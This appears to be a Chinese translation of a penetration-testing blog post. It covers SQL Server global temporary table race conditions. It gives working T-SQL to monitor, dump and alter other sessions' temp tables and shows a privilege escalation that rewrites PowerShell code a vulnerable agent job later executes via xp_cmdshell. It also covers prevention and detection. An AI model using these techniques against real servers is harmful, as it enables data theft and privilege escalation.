在网络和应用程序渗透测试期间,SQL Server 全局临时表通常不是关注的焦点。然而,它们被开发人员周期性地不安全地用来存储敏感数据和代码块,这些数据和代码块可以被非特权用户访问。在本博客中,我将介绍全局临时表是如何工作的,并分享一些我们在实际应用程序中用于识别和进行漏洞利用的技术。

如果你不想通读所有的东西,你可以选择跳过:

· 实验室设置

   · 什么是全局临时表?

   · 临时表是如何工作的?

          · 练习1: 表变量

          · 练习2: 局部临时表

          · 练习3: 全局临时表

   · 如何找到易受攻击的全局临时表?

          · 源代码审计

          · 监控全局临时表

    · 案例研究: 通过 TSQL 代理作业提升权限

    · 关于这个我能做些什么?

实验室设置

1. 安装 SQL Server。我们将要介绍的大多数场景都可以使用 SQL Server Express 执行,但是如果你想要跟随案例研究,你需要使用一个支持代理作业的商业版本。

2. 以系统管理员身份登录到 SQL Server

3. 创建一个最小特权登录

-- Create server login

CREATE LOGIN [basicuser] WITH PASSWORD = 'Password123!';

什么是全局临时表?

在 SQL Server 中临时存储数据的方法有很多,但临时表似乎是最流行的方法之一。根据我所看到的,开发人员通常使用三种类型的临时表,包括表变量、局部临时表和全局临时表。每种方法都有其优点、缺点和特殊的用途,但全局临时表往往会造成最大的风险,因为它们可以被任何 SQL Server 用户读取和修改。因此,使用全局临时表通常会导致竞争条件漏洞,最低特权用户可以利用这些条件获得对数据和特权的未授权访问。

临时表是如何工作的?

在本节中,我提供了一个入门知识,介绍了如何创建三种类型的临时表、它们存储在哪里以及谁可以访问它们。为了开始学习,让我们使用 sysadmin 登录进入 SQL Server,并检查三种类型的临时表。

所有临时表都存储在 tempdb 数据库中,可以使用下面的查询列出。

SELECT *

FROM tempdb.sys.objects

WHERE name like '#%';

SQL Server 中的所有用户都可以执行上面的查询,但是用户对所显示的表的访问权很大程度上取决于表的类型和范围。

下面是每种类型的临时表的作用域摘要。

有了这个基础,让我们来学习一些 TSQL 练习,以帮助更好地理解每个范围边界。

练习一: 表变量

表变量仅限于当前用户活动会话中的一个查询批处理。它们不能被其他查询批处理或其他活动用户会话访问。因此,数据不太可能泄露给非特权用户。

下面是在同一批处理中引用表变量的示例。

-- Create table variable

If not Exists (SELECT name FROM tempdb.sys.objects WHERE name = 'table_variable')

DECLARE @table_variable TABLE (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL);

-- Insert records into table variable

INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson')

INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise')

INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie')

INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery')

-- Query table variable in same batch

SELECT *

FROM @table_variable

GO

从上面的图片可以看出,我们能够在同一批查询中查询表变量。但是,当我们使用“ GO”将表创建和表数据选择分成两批时,我们可以看到表变量在其原始批处理作业之外不可再被访问。下面是一个例子。

希望这有助于说明表变量的范围限制,但你可能仍然想知道它们是如何存储的。创建表变量时,它使用以“ # ”开头的名称并随机生成字符存储在 tempdb 中。下面的查询可用于筛选所使用的表变量。

SELECT *

FROM tempdb.sys.objects

WHERE name not like '%[_]%'

AND (select len(name) - len(replace(name,'#',''))) = 1

练习二: 局部临时表

与表变量一样,局部临时表也仅限于当前用户的活动会话,但不限于单个批处理。由于这个原因,它们比表变量提供了更多的灵活性,但是仍然不会增加意外数据暴露的风险,因为其他活跃用户会话不能访问它们。下面是一个基本示例,演示如何在同一会话中跨不同的查询批次创建和访问局部临时表。

-- Create local temporary table

IF (OBJECT_ID('tempdb..#LocalTempTbl') IS NULL)

CREATE TABLE #LocalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL);

-- Insert records local temporary table

INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson')

INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise')

INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie')

INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery')

GO

-- Query local temporary table

SELECT *

FROM #LocalTempTbl

GO

从上面的图像中可以看到,仍然可以跨多个查询批次访问表数据。与表变量类似,所有定制的局部临时表都需要以“ # ”开头。除了你可以给他们起任何你想起的名字。它们也存储在 tempdb 数据库中,但 SQL Server 会在表名的末尾附加一些附加信息,以便对会话的访问受到限制。让我们看看新表“ #LocalTempTbl”在 tempdb 中的样子,下面是查询语句。

SELECT *

FROM tempdb.sys.objects

WHERE name like '%[_]%'

AND (select len(name) - len(replace(name,'#',''))) = 1

上面我们可以看到我们创建的名为“ #LocalTempTbl”的表,其中附加了一些附加的会话信息。所有用户都可以看到该临时表名称,但只有创建该临时表的会话才能访问其内容。看起来,会话 id 随着每个会话被添加到服务器的结束增量中,你实际上可以使用全名从会话中查询该表。下面是一个例子。

SELECT *

FROM tempdb..

[ #LocalTempTbl_______________________________________________________________________________________________________000000000007]

但是,如果你试图从其他用户的会话访问该临时表,则会得到如下错误。

无论如何,当你完成了局部临时表的所有操作后,可以通过终止会话或使用下面的命令显式执行删除它的操作。

DROP

TABLE

#LocalTempTbl

练习三: 全局临时表

准备好升级了吗?与局部临时表类似,你可以通过单独的批处理查询创建和访问全局临时表。最大的区别是所有活动用户会话都可以查看和修改全局临时表。让我们看看下面的一个基本例子。

-- Create global temporary table

IF (OBJECT_ID('tempdb..##GlobalTempTbl') IS NULL)

CREATE TABLE ##GlobalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL);

-- Insert records global temporary table

INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson')

INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise')

INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie')

INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery')

GO

-- Query global temporary table

SELECT *

FROM ##GlobalTempTbl

GO

上面我们可以看到,我们能够跨不同的查询批次查询全局临时表。所有定制的全局临时表都需要以“##”开头。除了你可以给他们起任何你想起的名字。它们也存储在 tempdb 数据库中。让我们看看新表“##GlobalTempTbl”在 tempdb 中的样子,下面是查询的语句。

SELECT *

FROM tempdb.sys.objects

WHERE (select len(name) - len(replace(name,'#',''))) > 1

你可以看到,SQL Server 不会像对局部临时表那样将任何与会话相关的数据附加到表名称中,因为它的目的是供所有会话使用。让我们使用我们创建的“ basicuser”登录进入另一个会话,以显示这是可能的。

如你所见,如果全局临时表包含敏感数据,那么它现在就向所有 SQL Server 用户公开。

如何找到易受攻击的全局临时表?

当你知道表名称时,很容易锁定全局临时表,但大多数安全审计人员和攻击者不知道易受攻击的全局临时表在哪里。因此,在本节中,我将介绍几种盲目查找易受攻击的全局临时表的方法。

· 如果你是特权用户,请审计源代码。

· 如果你是非特权用户,则监视全局临时表。

源代码审计

如果你作为系统管理员或具有其他特权角色的用户登录到 SQL Server,则可以直接查询每个数据库的代理作业、存储过程、函数和触发器的 TSQL 源代码。你应该能够过滤字符串“ ## ”的查询结果,以识别 TSQL 中全局临时表的使用情况。有了筛选后的列表,你应该能够查看相关的 TSQL 源代码,并确定在哪些条件下全局临时表容易受到攻击。

下面是一些到 TSQL 查询模板的链接,可以对你有所帮助:

· 代理作业

· 存储过程

· DDL 触发器

· DML 和登录触发器

值得注意的是, PowerUpSQL 还支持可用于查询该信息的函数。这些功能包括:

· Get-SQLAgentJob

· Get-SQLStoredProcedure

· Get-SQLTriggerDdl

· Get-SQLTriggerDml

如果我们总是能够查看源代码就好了,但是事实是大多数攻击者不会一开始就拥有 sysadmin 特权。所以,当你发现自己处于那种状态时,是时候改变你的方法了。

监控全局临时表

现在,让我们从最小特权的角度来讨论如何盲目地识别全局临时表。在前面的部分中,我们展示了如何列出临时表名并查询它们的内容。然而,我们对这些列并不是很了解。所以在下面我扩展了原来的查询,以包括这些信息。

-- List global temp tables, columns, and column types

SELECT t1.name as 'Table_Name',

t2.name as 'Column_Name',

t3.name as 'Column_Type',

t1.create_date,

t1.modify_date,

t1.parent_object_id

FROM tempdb.sys.objects AS t1

JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID

JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id

WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1

如果你没有删除“ ## GlobalTempTbl” ,那么在执行查询时应该会看到类似于下面的结果。

运行上面的查询可以深入了解当时正在使用的全局临时表,但是它不能帮助我们监视它们随着时间的推移的使用情况。请记住,临时表通常只在短时间内使用,因此你不希望错过它们。

下面的查询是第一个查询的变体,每一秒都会提供一个全局临时表列表。可以通过修改“ WAITFOR”语句来更改延迟,但要小心,不要让服务器负载过重。如果你不确定正在做什么,那么这种技术应该只在非生产环境中进行实践。

-- Loop

While 1=1

BEGIN

SELECT t1.name as 'Table_Name',

t2.name as 'Column_Name',

t3.name as 'Column_Type',

t1.create_date,

t1.modify_date,

t1.parent_object_id

FROM tempdb.sys.objects AS t1

JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID

JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id

WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1

-- Set delay

WaitFor Delay '00:00:01'

END

正如你所看到的,查询将提供一个表名和列名的列表,我们可以在未来的攻击中使用它们,但是我们也可能希望监视全局临时表的内容,以了解我们的选项是什么。下面是一个示例,但请记住,在可能的情况下使用“ WAITFOR”来限制监视。

-- Monitor contents of all Global Temp Tables

-- Loop

WHILE 1=1

BEGIN

-- Add delay if required

WAITFOR DELAY '0:0:1'

-- Setup variables

DECLARE @mytempname varchar(max)

DECLARE @psmyscript varchar(max)

-- Iterate through all global temp tables

DECLARE MY_CURSOR CURSOR

FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'

OPEN MY_CURSOR

FETCH NEXT FROM MY_CURSOR INTO @mytempname

WHILE @@FETCH_STATUS = 0

BEGIN

-- Print table name

PRINT @mytempname

-- Select table contents

DECLARE @myname varchar(max)

SET @myname = 'SELECT * FROM [' + @mytempname + ']'

EXEC(@myname)

-- Next record

FETCH NEXT FROM MY_CURSOR INTO @mytempname

END

CLOSE MY_CURSOR

DEALLOCATE MY_CURSOR

END

如你所见,上面的查询将监视全局临时表并显示其内容。这种技术是一种很好的方法,可以盲目地从全局临时表中转储潜在的敏感信息,即使这些信息只存在一会儿。但是,有时你也可能希望修改全局临时表的内容。由于我们已经知道表和列的名称。因此,监视正在创建的全局临时表并更新它们的内容是相当简单明了的。下面是一个例子。

-- Loop forever

WHILE 1=1

BEGIN

-- Select table contents

SELECT * FROM ##GlobalTempTbl

-- Update global temp table contents

DECLARE @mycommand varchar(max)

SET @mycommand = 'UPDATE t1 SET t1.SpyName = ''Inspector Gadget'' FROM ##GlobalTempTbl  t1'

EXEC(@mycommand)

END

正如你所看到的,表已经更新。但是,你可能仍然在想,“为什么我要更改临时表的内容呢? ” . 为了帮助说明这种技术的价值,我在下一节中整理了一个简短的案例研究。

案例研究: 攻击一个易受攻击的代理作业

现在来点真正的乐趣。下面我们将介绍易受攻击的代理作业的 TSQL 代码,并突出显示全局临时表的安全使用场景。然后我们将使用前面讨论过的技术来利用这个缺陷。要启动程序,请下载此 TSQL 脚本并将其作为系统管理员运行,以便在 SQL Server 实例上配置易受攻击的代理作业。

易受攻击的代理工作漫游

代理将每分钟执行一次 TSQL 作业,并执行以下过程:

1.该作业为 PowerShell 脚本生成一个输出文件路径,稍后将执行该脚本

-- Set filename for PowerShell script

Set @PsFileName = ''MyPowerShellScript.ps1''

-- Set target directory for PowerShell script to be written to

SELECT @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY(''ErrorLogFileName'')) as VARCHAR(MAX)),''ERRORLOG'','''')

-- Create full output path for creating the PowerShell script

SELECT @PsFilePath = @TargetDirectory + @PsFileName

2.该作业创建一个名为“@MyPowerShellCode”的字符串变量来存储PowerShell脚本。PowerShell代码简单地创建了一个文件“C:\Program Files\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\intendedoutput”。该文件包含字符串“hello world”。

— Define the PowerShell code

SET @MyPowerShellCode = ''Write-Output "hello world" | Out-File "'' + @TargetDirectory + ''intendedoutput.txt"''

专业提示: SQL Server 和代理服务帐户始终具有对 SQL Server 安装的日志文件夹的写访问权。 有时在攻击行动中,它会派上用场。 你可以找到日志文件夹,查询如下:

SELECT SERVERPROPERTY('InstanceDefaultLogPath')

3.然后将包含PowerShell代码的“@MyPowerShellCode”变量插入到随机命名的全局临时表中。这就是开发人员开始出错的地方,因为创建该表之后,任何用户都可以查看和修改该表。

-- Create a global temp table with a unique name using dynamic SQL

SELECT @MyGlobalTempTable = ''##temp'' + CONVERT(VARCHAR(12), CONVERT(INT, RAND() * 1000000))

-- Create a command to insert the PowerShell code stored in the @MyPowerShellCode variable, into the global temp table

SELECT @Command = ''

CREATE TABLE ['' + @MyGlobalTempTable + ''](MyID int identity(1,1), PsCode varchar(MAX))

INSERT INTO ['' + @MyGlobalTempTable + ''](PsCode)

SELECT @MyPowerShellCode''

-- Execute that command

EXECUTE sp_ExecuteSQL @command, N''@MyPowerShellCode varchar(MAX)'', @MyPowerShellCode

4.然后使用 xp_cmdshell在操作系统上执行 bcp 。bcp是一个附带SQL Server的备份实用程序。在本例中,它用于作为SQL Server服务帐户连接到SQL Server实例,从全局临时表中选择PowerShell代码,并将PowerShell代码写入步骤1中定义的文件路径。

-- Execute bcp via xp_cmdshell (as the service account) to save the contents of the temp table to MyPowerShellScript.ps1

SELECT @Command = ''bcp "SELECT PsCode from ['' + @MyGlobalTempTable + '']'' + ''" queryout "''+ @PsFilePath + ''" -c -T -S '' + @@SERVERNAME-- Write the file

EXECUTE MASTER..xp_cmdshell @command, NO_OUTPUT

5.接下来,再次使用 xpcmdshell 执行刚刚写入磁盘的 PowerShell 脚本

-- Run the PowerShell script

DECLARE @runcmdps nvarchar(4000)

SET @runcmdps = ''Powershell -C "$x = gc ''''''+ @PsFilePath + '''''';iex($X)"''

EXECUTE MASTER..xp_cmdshell @runcmdps, NO_OUTPUT

6.最后,使用 xpcmdshell 删除 PowerShell 脚本-- Delete the PowerShell script

DECLARE @runcmddel nvarchar(4000)

SET @runcmddel= ''DEL /Q "'' + @PsFilePath +''"''

EXECUTE MASTER..xp_cmdshell @runcmddel, NO_OUTPUT

易受攻击的代理作业攻击

既然我们的易受攻击的代理作业已经在后台运行,那么让我们使用最小特权用户“ basicuser”登录来进行攻击。下面是这次攻击的摘要。

1.首先,让我们看看是否可以使用前面的监视查询发现全局临时表的名称。这个监视脚本被节流。我不建议在生产环境中去掉节流,因为这会消耗大量的 CPU,而且会引发警报,因为 DBA 倾向于密切监视其生产服务器的性能。与执行 xp_cmdshell 时相比,你更有可能得到一个导致服务器利用率达到80% 的捕异常。

-- Loop

While 1=1

BEGIN

SELECT t1.name as 'Table_Name',

t2.name as 'Column_Name',

t3.name as 'Column_Type',

t1.create_date,

t1.modify_date,

t1.parent_object_id

FROM tempdb.sys.objects AS t1

JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID

JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id

WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1

-- Set delay

WAITFOR DELAY '00:00:01'

END

该作业的运行时间为一分钟,因此你可能需要等待59秒(或者你可以手动让作业在实验室中执行),但是最终你应该会看到类似下面的输出。

在这个示例中,表名“ ##temp800845”看起来是随机的,因此我们再次尝试监视并得到表名“ ##103919”。它有一个不同的名称,但是它有相同的列。这些信息足以让我们朝着正确的方向前进。

接下来,我们希望在删除全局临时表之前查看它的内容。但是,我们不知道表的名称是什么。为了解决这个问题,下面的查询将显示每个全局临时表的内容

-- Monitor contents of all Global Temp Tables

-- Loop

While 1=1

BEGIN

-- Add delay if required

WAITFOR DELAY '00:00:01'

-- Setup variables

DECLARE @mytempname varchar(max)

DECLARE @psmyscript varchar(max)

-- Iterate through all global temp tables

DECLARE MY_CURSOR CURSOR

FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'

OPEN MY_CURSOR

FETCH NEXT FROM MY_CURSOR INTO @mytempname

WHILE @@FETCH_STATUS = 0

BEGIN

-- Print table name

PRINT @mytempname

-- Select table contents

DECLARE @myname varchar(max)

SET @myname = 'SELECT * FROM [' + @mytempname + ']'

EXEC(@myname)

-- Next record

FETCH NEXT FROM MY_CURSOR INTO @mytempname

END

CLOSE MY_CURSOR

DEALLOCATE MY_CURSOR

END

从这里我们可以看到,全局临时表实际上包含 PowerShell 代码。由此,我们可以猜测它是在某个时间点执行的。因此,下一步是在 PowerShell 代码执行之前修改它。

同样,我们不知道表名是什么,但是我们知道列名。因此,我们可以修改步骤3中的查询,并更新全局临时表的内容,而不是简单地选择它的内容。在本例中,我们将更改“C:\Program Files\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\intendedoutput.txt”代码中定义的输出路径为“C:\程序文件\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\finishline.txt”。但是,你可以使用你最喜欢的PowerShell shellcode或任何你所喜欢的任意命令来替换这些代码。

-- Create variables

DECLARE @PsFileName NVARCHAR(4000)

DECLARE @TargetDirectory NVARCHAR(4000)

DECLARE @PsFilePath NVARCHAR(4000)

-- Set filename for PowerShell script

Set @PsFileName = 'finishline.txt'

-- Set target directory for PowerShell script to be written to

SELECT @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY('ErrorLogFileName')) as VARCHAR(MAX)),'ERRORLOG','')

-- Create full output path for creating the PowerShell script

SELECT @PsFilePath = @TargetDirectory + @PsFileName

-- Loop forever

WHILE 1=1

BEGIN

-- Set delay

WAITFOR DELAY '0:0:1'

-- Setup variables

DECLARE @mytempname varchar(max)

-- Iterate through all global temp tables

DECLARE MY_CURSOR CURSOR

FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'

OPEN MY_CURSOR

FETCH NEXT FROM MY_CURSOR INTO @mytempname

WHILE @@FETCH_STATUS = 0

BEGIN

-- Print table name

PRINT @mytempname

-- Update contents of known column with ps script in an unknown temp table

DECLARE @mycommand varchar(max)

SET @mycommand = 'UPDATE t1 SET t1.PSCode = ''Write-Output "hello world" | Out-File "' + @PsFilePath + '"'' FROM ' + @mytempname + ' t1'

EXEC(@mycommand)

-- Select table contents

DECLARE @mycommand2 varchar(max)

SET @mycommand2 = 'SELECT * FROM [' + @mytempname + ']'

EXEC(@mycommand2)

-- Next record

FETCH NEXT FROM MY_CURSOR INTO @mytempname

END

CLOSE MY_CURSOR

DEALLOCATE MY_CURSOR

END

总之,我们利用 TSQL 代理作业中全局临时表的不安全使用,将权限从最低特权 SQL Server 登录升级到运行 SQL Server 代理服务的 Windows 操作系统帐户。

我能做些什么?

下面是一些基于我们这个小小的研究的基本建议,但是如果你有任何想法,请联系我们。我很想听听其他人是怎么解决这个问题的。

预防

1.不要在已存储在全局临时表的代码块上跑数据

2.不要在全局临时表中存储敏感数据或代码块

3.如果需要跨多个会话访问数据,可以考虑使用内存优化的表。根据我的实验室测试,它们可以提供类似的性能优势,而不必向非特权用户公开数据。要了解更多信息看看微软的这篇文章.

检测

目前,我还没有一个很好的方法来监视潜在的恶意全局临时表访问。但是,如果攻击者过于积极地监视全局临时表,那么 CPU 应该会出现峰值,你可能会在代价高昂的查询列表中看到它们的活动。从那里,你应该能够通过session_id 和一个类似于下面的查询检测这种攻击行为:

SELECT

status,

session_id,

login_time,

last_request_start_time,

security_id,

login_name,

original_login_name

FROM [sys].[dm_exec_sessions]

总结

总之,使用全局临时表会产生竞争条件缺陷,最少权限的用户可以利用这些条件读取和修改关联的数据。根据数据的使用方式,它可能会产生一些非常重大的安全隐患。希望这些信息对那些试图让事情变得更好的建设者和破坏者是有用的。不管怎样,享受乐趣,承担责任。

参考资料

https://docs.microsoft.com/en-us/sql/t-sql/statements/create-table-transact-sql

https://docs.microsoft.com/en-us/sql/relational-databases/in-memory-oltp/faster-temp-table-and-table-variable-by-using-memory-optimization

https://docs.microsoft.com/en-us/sql/t-sql/functions/serverproperty-transact-sql

https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/writefile_bcpxpcmdshell.sql

https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/Get-GlobalTempTableColumns.sql

https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/Get-GlobalTempTableData.sql

https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/Get-GlobalTempTable-RaceUpdateExample.sql

本文翻译自:https://blog.netspi.com/exploiting-sql-server-global-temporary-table-race-conditions/

查询表授权给谁了_SQL Server 全局临时表竞争条件漏洞利用相关推荐

  1. 第3周 区_SQL Server中管理空间的基本单位

    第3周 区_SQL Server中管理空间的基本单位 原文:第3周 区_SQL Server中管理空间的基本单位 哇哦,SQL Server性能调优培训已经进入第3周了!同时你已经对SQL Serve ...

  2. 巧用SQL server的全局临时表防止用户重复登录

    内容摘要:SQL Server的临时表具备这个特性!但是我们这里的这种情况不能用局部临时表,因为局部临时表对于每一个connection来说都是一个独立的对象,因此只能用全局临时表来达到我们的目的. ...

  3. mysql表变量临时表_sql server 临时表详细讲解及简单示例

    一.概述 在sql server里临时表存储在TempDB库中,TempDB是一个系统数据库,它只有Simple恢复模式,也是最小日志记录操作.主要用于存放局部临时表,全局临时表,表变量,都是基于临时 ...

  4. 巨杉mysql支持临时表_sql server用变量动态命名临时表表名

    sql server不支持动态命名临时表的表名,如以下语句并不能创建临时表: declare @n nvarchar(10),@s nvarchar(100) set @n = 'temp' set ...

  5. SQL Server中临时表与表变量的区别

    我们在数据库中使用表的时候,经常会遇到两种使用表的方法,分别就是使用临时表及表变量.在实际使用的时候,我们如何灵活的在存储过程中运用它们,虽然它们实现的功能基本上是一样的,可如何在一个存储过程中有时候 ...

  6. 我是SQL小菜鸟---SQL全局临时表防止用户重复登录

    先介绍一下什么是sql临时表及使用方法 临时表  SQL Server 支持临时表.临时表就是那些名称以井号 (#) 开头的表.如果当用户断开连接时没有除去临时表,SQL Server 将自动除去临时 ...

  7. SQL Server--[转]SQL Server中临时表与表变量的区别

    http://blog.csdn.net/skyremember/archive/2009/03/05/3960687.aspx 我们在数据库中使用表的时候,经常会遇到两种使用表的方法,分别就是使用临 ...

  8. 巧用SQL的全局临时表防止用户重复登录

    在我们开发商务软件的时候,常常会遇到这样的一个问题:怎样防止用户重复登录我们的系统?特别是对于银行或是财务部门,更是要限制用户以其工号身份多次登入. 可能会有人说在用户信息表中加一字段判断用户工号登录 ...

  9. Sqlserver 中临时表和全局临时表

    SQL Server 支持临时表.临时表就是那些名称以井号 (#) 开头的表.如果当用户断开连接时没有除去临时表,SQL Server 将自动除去临时表.临时表不存储在当前数据库内,而是存储在系统数据 ...

最新文章

  1. Linux文件系统的实现 (图文并茂,比较好)
  2. [Unity3d]多个摄像机叠加效果
  3. c语言输出去掉最后一行回车,新人提问:如何将输出时每行最后一个空格删除...
  4. 《从零开始学ASP.NET CORE MVC》:VS2019创建ASP.NET Core Web程序(三)
  5. 局域网聊天软件的设计思路
  6. vim中实现javascript代码自动完成功能
  7. 12月3号 命名规范和运算符的使用
  8. (转载)Vim入门图解说明
  9. python使用缩进来体现-Python使用缩进来体现代码之间的逻辑关系。
  10. 基于51单片机的排队叫号系统
  11. pycharm汉化包
  12. 如何防止sql注入?防止sql注入方法介绍
  13. 实践 | 图片文本爬虫与数据分析
  14. Flickr网站架构分析
  15. iOS 聊天表情键盘
  16. 超详细的MySQL基本操作
  17. cf B. Wilbur and Array
  18. 数商云采购管理系统方案助力采购平台:缩短采购周期、降本增效
  19. C语言 循环打印星星
  20. android 支付宝 收款,Android支付——支付宝支付

热门文章

  1. DB-Engines 2019 年度数据库出炉:MySQL 成为年度数据库赢家
  2. MySQL主从延时这么长,怎么优化?
  3. 一文了解MySQL的Buffer Pool
  4. 【华为云技术分享】当我们在谈论卡片时,我们到底在谈论什么?
  5. 化繁就简 · 万物互联,华为云All-Connect企业级云网络正式发布
  6. 深入比特币原理(二)——比特币密钥地址生成
  7. 西瓜哥:公有云也“All-Flash”?
  8. 【深入浅出etcd系列】2. 心跳和选举
  9. c++第三次上机实验项目四
  10. SQL Server LIKE语句使用举例